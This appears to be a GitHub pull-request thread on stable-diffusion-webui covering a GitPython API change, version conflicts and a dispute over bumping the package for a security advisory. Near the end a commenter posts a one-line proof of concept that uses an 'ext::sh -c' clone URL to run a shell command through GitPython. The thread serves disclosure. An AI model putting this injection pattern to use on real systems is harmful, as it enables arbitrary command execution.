stable-diffusion-webui
stable-diffusion-webui copied to clipboard
AUTOMATIC1111
git 3.1.30 api change, issue #8116
this is a fix for #8116 , where gitpython made a breaking api change:
per this and this changelog you can no longer feed arbitrary arguments to prevent remote code execution.
Running on ubuntu 22 wsl
Tested with installs/updates, works as expected
edited to reference and auto-close: fixes #8116, fixes #8199, fixes #8116
Please merge this change.
Still waiting on a review check which prevents merge, looks like it automatically goes to @AUTOMATIC1111 for a request but if anyone else wants to that can we can push it to master
@adam-huganir - FWIW, the version of gitpython in requirements should also be bumped. The whole reason this even came about is because I bumped the package version as per this high severity security warning:
https://github.com/advisories/GHSA-hcpj-qp55-gfph
@adam-huganir - FWIW, the version of gitpython in requirements should also be bumped. The whole reason this even came about is because I bumped the package version as per this high severity security warning:
ooch that is a bad one. good catch, PR is updated and just needs the workflows run again
edit: workflows passed on the fork so it should be good when ran here
Are you sure it's working? I tried this commit and the check happens but it doesn't find any extension to update even if there are updates. Just tried
Are you sure it's working? I tried this commit and the check happens but it doesn't find any extension to update even if there are updates. Just tried
@Dasor92 I just booted it up and ran hit "Check for updates" and it was able to check and show the status, is that the part you are having issues with? This is what I ended up with:
This didn't fix the issue for me, I have the same problem as Dasor92. All extensions still show up as "latest" even tho they have updates available when I check the github links for each individual extension.
This didn't fix the issue for me, I have the same problem as Dasor92. All extensions still show up as "latest" even tho they have updates available when I check the github links for each individual extension.
@CrazyKrow i just double checked the gitpython code and docs to make sure i didn't misread something, but nothing looked amiss and it is still working on my end, do you have any log output in the terminal after hitting the button? also, does the progress bar do anything when you hit the Check for updates button?
No logs in the terminal, the progress bar also works, the only way i know its not working is because eveything keeps showing up as "latest" even tho it isnt. I had to reinstall controlnet for it to go to the last version.
I think the problem started when i updated dreambooth a couple of days ago, even if i remove the extension its still not working
I think the problem started when i updated dreambooth a couple of days ago, even if i remove the extension its still not working
yeah, dreambooth updated the requirements (as it should have, there is a serious vulnerability) and that update broke the code that was here, however ~for right now you should be able to run <redacted>' in your terminal to downgrade to a lower version and that should get you going, although if dreambooth tries to install again it will upgrade you again. anyways, hopefully this works as a temporary solution until this all gets merged together.~
edit: ~make sure that you use the path to the pip that is a part of your sd virtual environment, and not your global environment.~
_edit 2: i am removing some of the stuff in this comment since it will probably cause more issues rather than helping most people. check out my comment below for something that may help get things up and running before this change gets added to the main repo
I have windows, so the command doesnt work. I tried with "pip install -U GitPython==3.1.30" didn't fix the issue, tried with "pip install -U GitPython==3.1.27" also didn't fix it. Still can't update. The path is set to "C:\Stable-diffusion-webui\venv"
I also tried deleting the venv folder so the environment is created again, but no luck. I deleted the dreambooth folder btw, so I don't know why is still not working.
Hope automatic is okay, are they usually MIA this long? Or taking a break (prob much needed)? I don't lurk here too much, but I do hope to fix dreambooth soon or find an alternative that isn't a collab.
Where exactly am I supposed to run this command? Should I just put it in my webuser.bat? I tried going to venv/scripts/ running cmd and activating the venv but it tells me system cannot find the file specified. Sorry, noob at this stuff.
Where exactly am I supposed to run this command? Should I just put it in my webuser.bat? I tried going to venv/scripts/ running cmd and activating the venv but it tells me system cannot find the file specified. Sorry, noob at this stuff.
Don't worry about it, virtual environments are tough to grok even for people who work with python day in and day out. I'm removing my comment from earlier since it will do more harm than good for most users I think since it is incompatible with the webui scripts. One thing that may work though I can't test it currently is to add this line to the requirements_versions.txt file on line 26:
replace the current line with the GitPython version with:
GitPython>=3.1.27
This will not be the final version, but it should be the most broadly compatible with other plugins. After this you can run webui.bat again (or whatever method you were using to start the webui)
Let us know if this works!
replace the current line with the GitPython version with:
GitPython>=3.1.27
Incidentally this is already set as such for me in requirements_versions.txt for the webui installation I use specifically for dreambooth. Unable to update extensions, tho I'm more concerned with being able to train. I can do the manual update thing floating around via .bat file. My main concern is getting dreambooth training properly, which it's not since the update.
EDIT 1: Dug a little deeper, this is because I use:
set "REQS_FILE=.\extensions\sd_dreambooth_extension\requirements.txt"
In my webui-user.bat. I can change gitpython in that or just comment out this line and see.
EDIT 2:
commenting out REQS_FILE,
I get this mess still:
stderr: ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
clean-fid 0.1.29 requires requests==2.25.1, but you have requests 2.28.2 which is incompatible.
blip-ci 0.0.3 requires timm==0.4.12, but you have timm 0.6.7 which is incompatible.
Traceback (most recent call last):
File "X:\stable-diffusion-webui\extensions\sd_dreambooth_extension\install.py", line 6, in
EDIT 3: I am able to update extensions as expected without error. Now to get dreambooth to train properly...
For people who still struggle with this: sd_dreambooth_extension has a new GitPython version in the requirements that overrides the main requirements files, either edit that or delete the extension completely (don't recommend if you already did some training) and it should work once you install a version 3.1.27 or lower within the venv
Still having issues for check for update even rebuild venv and delete dreambooth completely, I guess someone can point out which package version is not compatible for the main version of webui. Package Version
absl-py 1.4.0 accelerate 0.12.0 addict 2.4.0 aenum 3.1.11 aiofiles 23.1.0 aiohttp 3.8.4 aiosignal 1.3.1 albumentations 1.3.0 altair 4.2.2 antlr4-python3-runtime 4.9.3 anyio 3.6.2 astunparse 1.6.3 async-timeout 4.0.2 attrs 22.2.0 av 10.0.0 basicsr 1.4.2 beautifulsoup4 4.11.2 bitsandbytes 0.35.4 blendmodes 2022 blip-ci 0.0.3 boltons 23.0.0 cachetools 5.3.0 certifi 2022.12.7 chardet 4.0.0 charset-normalizer 3.0.1 clean-fid 0.1.29 click 8.1.3 clip 1.0 clip-interrogator 0.5.4 colorama 0.4.6 contourpy 1.0.7 cssselect2 0.7.0 cycler 0.11.0 deprecation 2.1.0 diffusers 0.13.1 discord-webhook 1.1.0 einops 0.4.1 entrypoints 0.4 facexlib 0.2.5 fairscale 0.4.4 fastapi 0.90.1 ffmpy 0.3.0 filelock 3.9.0 filterpy 1.4.5 flatbuffers 23.1.21 font-roboto 0.0.1 fonts 0.0.3 fonttools 4.38.0 frozenlist 1.3.3 fsspec 2023.1.0 ftfy 6.1.1 future 0.18.3 gast 0.4.0 gdown 4.6.4 gfpgan 1.3.8 gitdb 4.0.10 GitPython 3.1.27 google-auth 2.16.2 google-auth-oauthlib 0.4.6 google-pasta 0.2.0 gradio 3.16.2 grpcio 1.51.3 h11 0.12.0 h5py 3.8.0 httpcore 0.15.0 httpx 0.23.3 huggingface-hub 0.12.1 idna 2.10 imageio 2.26.0 imageio-ffmpeg 0.4.8 importlib-metadata 6.0.0 inflection 0.5.1 Jinja2 3.1.2 joblib 1.2.0 jsonmerge 1.8.0 jsonschema 4.17.3 keras 2.11.0 kiwisolver 1.4.4 kornia 0.6.7 lark 1.1.2 lazy_loader 0.1 libclang 15.0.6.1 linkify-it-py 2.0.0 lion-pytorch 0.0.7 llvmlite 0.39.1 lmdb 1.4.0 lpips 0.1.4 lxml 4.9.2 Markdown 3.4.1 markdown-it-py 2.2.0 MarkupSafe 2.1.2 matplotlib 3.7.0 mdit-py-plugins 0.3.5 mdurl 0.1.2 modelcards 0.1.6 multidict 6.0.4 mypy-extensions 1.0.0 networkx 3.0 numba 0.56.4 numexpr 2.8.4 numpy 1.23.3 oauthlib 3.2.2 omegaconf 2.2.3 open-clip-torch 2.7.0 opencv-python 4.7.0.72 opencv-python-headless 4.7.0.72 opt-einsum 3.3.0 orjson 3.8.7 packaging 23.0 pandas 1.5.3 piexif 1.1.3 Pillow 9.4.0 PIMS 0.6.0 pip 22.2.1 protobuf 3.19.6 psutil 5.9.4 pyasn1 0.4.8 pyasn1-modules 0.2.8 pycryptodome 3.17 pydantic 1.10.5 pyDeprecate 0.3.2 pydub 0.25.1 Pygments 2.14.0 pyparsing 3.0.9 pyre-extensions 0.0.23 pyrsistent 0.19.3 PySocks 1.7.1 python-dateutil 2.8.2 python-multipart 0.0.6 pytorch-lightning 1.7.6 pytz 2022.7.1 PyWavelets 1.4.1 PyYAML 6.0 qudida 0.0.4 realesrgan 0.3.0 regex 2022.10.31 reportlab 3.6.12 requests 2.25.1 requests-oauthlib 1.3.1 resize-right 0.0.2 rfc3986 1.5.0 rich 13.3.1 rsa 4.9 safetensors 0.2.7 scikit-image 0.19.2 scikit-learn 1.2.1 scipy 1.10.1 Send2Trash 1.8.0 sentencepiece 0.1.97 setuptools 63.2.0 six 1.16.0 slicerator 1.1.0 smmap 5.0.0 sniffio 1.3.0 soupsieve 2.4 starlette 0.23.1 svglib 1.5.1 tb-nightly 2.12.0a20230126 tensorboard 2.11.2 tensorboard-data-server 0.6.1 tensorboard-plugin-wit 1.8.1 tensorflow 2.11.0 tensorflow-estimator 2.11.0 tensorflow-intel 2.11.0 tensorflow-io-gcs-filesystem 0.31.0 termcolor 2.2.0 threadpoolctl 3.1.0 tifffile 2023.2.28 timm 0.6.7 tinycss2 1.2.1 tokenizers 0.13.2 toolz 0.12.0 torch 1.13.1+cu117 torchdiffeq 0.2.3 torchmetrics 0.11.3 torchsde 0.2.5 torchvision 0.14.1+cu117 tqdm 4.64.1 trampoline 0.1.2 transformers 4.25.1 typing_extensions 4.5.0 typing-inspect 0.8.0 uc-micro-py 1.0.1 urllib3 1.26.14 uvicorn 0.20.0 wcwidth 0.2.6 webencodings 0.5.1 websockets 10.4 Werkzeug 2.2.3 wheel 0.38.4 wrapt 1.15.0 xformers 0.0.17.dev464 yapf 0.32.0 yarl 1.8.2 zipp 3.15.0
@Dasor92 Moreover, in order to make your extensions update as normal again, you may have to reinstall every extension one by one to make it updateable in the future, since gitpython 3.1.31 breaks the link of extensions which makes it not be able to update even when you downgrade to 3.1.27. So any extension installed prior to 3.1.31 will have to be installed again.
Really disheartening that this still hasn't been merged. Why isn't there just a new fork or something at this point that takes over?
I don't want to bump the version of a package without it doing something useful in the new version. Enabling extension access is an RCE already, by design. Disabling extension access mutes whatever problem exists in GitPython==3.1.27.
Fixing a critical security issue is doing something useful dude. Seriously.
On Sat, Mar 11, 2023, 3:55 AM AUTOMATIC1111 @.***> wrote:
I don't want to bump the version of a package without it doing something useful in the new version. Enabling extension access is an RCE already, by design. Disabling extension access mutes whatever problem exists in GitPython==3.1.27.
— Reply to this email directly, view it on GitHub https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/8118#issuecomment-1464874848, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAMO4NBK6UYBP6B4N2BIVR3W3RD23ANCNFSM6AAAAAAVIAUECA . You are receiving this because you commented.Message ID: @.***>
The critical security issue still persists for reasons I wrote above even of this is merged in.
I legitimately do not understand your logic.
You regularly merge breaking changes to the main repository without issue. Hell, not even regularly...just sort of willy-nilly because you're the only person who can merge fixes.
But then you're refusing to merge this one because fixing a critical security issue is somehow not useful enough...because the application has other issues "by design"? Like...why? How about you just update the package and fix the one line of code and call it a day, versus leaving this sit out here until something "useful" comes along that makes it now pertinent to bump the package version?
This is a combination of maddening and frustrating that I'm growing increasingly tired of...
On Sat, Mar 11, 2023 at 7:47 AM AUTOMATIC1111 @.***> wrote:
The critical security issue still persists for reasons I wrote above even of this is merged in.
— Reply to this email directly, view it on GitHub https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/8118#issuecomment-1464915542, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAMO4NEYKQAMRRTFE2UBAQDW3R66TANCNFSM6AAAAAAVIAUECA . You are receiving this because you commented.Message ID: @.***>
Are you seriously going to make me go through your code so I can find an endpoint in the core application to prove there's an issue even without extensions enabled?
You're a smart guy...I'm sure you and I both know I can work out some way to call one of your methods via javascript to get this to run.
from git import Repo r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
On Sat, Mar 11, 2023 at 8:09 AM AUTOMATIC1111 @.***> wrote:
What's the way to exploit the vulnerability?
— Reply to this email directly, view it on GitHub https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/8118#issuecomment-1464919985, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAMO4NEZC6KFCOEGRIGKNO3W3SBTHANCNFSM6AAAAAAVIAUECA . You are receiving this because you commented.Message ID: @.***>
When extensions installation is enabled, there is a way to install and run a repo with JS even with this PR merged in. When extension installation is disabled, there is no way to do this from JS.
The reason I don't want to merge this in is because there are users in comments who report that bumping version breaks things for them. I could investigate, but I don't want to, and seeing as there is no practical benefit to merging this in, I would rather just not bump the version.